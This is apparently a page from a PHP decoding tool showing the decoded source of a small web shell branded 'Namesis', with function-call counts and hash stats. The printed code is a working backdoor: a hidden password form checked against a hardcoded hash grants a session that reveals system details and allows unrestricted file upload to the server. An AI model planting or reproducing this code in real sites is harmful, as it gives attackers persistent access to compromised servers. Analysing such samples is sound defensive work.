Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php session_start(); if($_SESSION["adm"]){ echo '<b>Namesis<br><br>'.php_uname().'<..

Decoded Output download

<b>Namesis<br><br>Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686<br></b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>

Did this file decode correctly?

Original Code

<?php
session_start();

if($_SESSION["adm"]){
echo '<b>Namesis<br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>';
 }	else { echo '<b>Upload Fail !!!</b><br><br>';
 }}
}
if($_POST["p"]){
$p = $_POST["p"];

$pa = md5(sha1($p));

if($pa=="abd309a84781295737e40082b5c6b281"){
$_SESSION["adm"] = 1;

}
}

?>
<form action="" method="post">
<input type="text" name="p">
</form>

Function Calls

php_uname 1
session_start 1

Variables

None

Stats

MD5 d9297e7671cbe3e312caf7e111e2309e
Eval Count 0
Decode Time 178 ms